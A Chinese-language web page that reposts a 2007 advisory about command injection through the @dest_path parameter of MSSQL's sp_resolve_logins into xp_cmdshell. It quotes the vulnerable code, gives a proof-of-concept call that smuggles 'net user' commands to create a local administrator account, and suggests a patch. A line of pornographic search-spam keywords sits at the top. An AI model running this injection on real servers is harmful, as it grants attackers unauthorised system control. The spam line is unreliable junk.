亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

MSSQL自身存儲(chǔ)過程的一個(gè)注入漏洞

 更新時(shí)間:2007年12月06日 23:16:29   作者:  
Infos: MSSQL自身存儲(chǔ)過程的一個(gè)注入
Author: 瘋子[BCT]
Date: 10/11/2007

我看到MSSQL的存儲(chǔ)過程中,有模有樣的在過濾。 然后我就去讀讀他們的存儲(chǔ)過程。就找到了一個(gè)注入而已。
瘋子如是說。
漏洞資料如下:

master..sp_resolve_logins存儲(chǔ)過程中,對(duì)@dest_path參數(shù)過濾不嚴(yán),導(dǎo)致xp_cmdshell注入。

分析:
復(fù)制代碼 代碼如下:

SELECT @dest_path = RTRIM(LTRIM(@dest_path)) 

-- If the last char is '\', remove it. 
IF substring(@dest_path, len(@dest_path),1) = '\' 
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1) 

-- Don't do validation if it is a UNC path due to security problem. 
-- If the server is started as a service using local system account, we 
-- don't have access to the UNC path. 
IF substring(@dest_path, 1,2) <> '\\' 
BEGIN 
SELECT @command = 'dir "' + @dest_path + '"' 
exec @retcode = master..xp_cmdshell @command, 'no_output' 
IF @@error <> 0 
RETURN (1) 
IF @retcode <> 0  
BEGIN 
raiserror (14430, 16, -1, @dest_path)  
RETURN (1) 
END 
END 


master..sp_resolve_logins存儲(chǔ)過程 在這一段,經(jīng)過一定的判斷,對(duì) @dest_path 進(jìn)行了一定的過濾。
但是沒有過濾"(雙引號(hào))導(dǎo)致了 xp_cmdshell執(zhí)行任意SQL語句

測(cè)試代碼:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
執(zhí)行上述MSSQL語句,成功添加了一個(gè)名為admina的系統(tǒng)帳號(hào)

但是此存儲(chǔ)過程代碼中經(jīng)過判斷,需要系統(tǒng)systemadmin權(quán)限的帳號(hào)。 

瘋子提供了一個(gè)給其打補(bǔ)丁的方法:
復(fù)制代碼 代碼如下:

用函數(shù)fn_escapecmdshellsymbolsremovequotes把@dest_path過濾就OK了。如: 
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ,這樣就不會(huì)產(chǎn)生注入了。 

相關(guān)文章

最新評(píng)論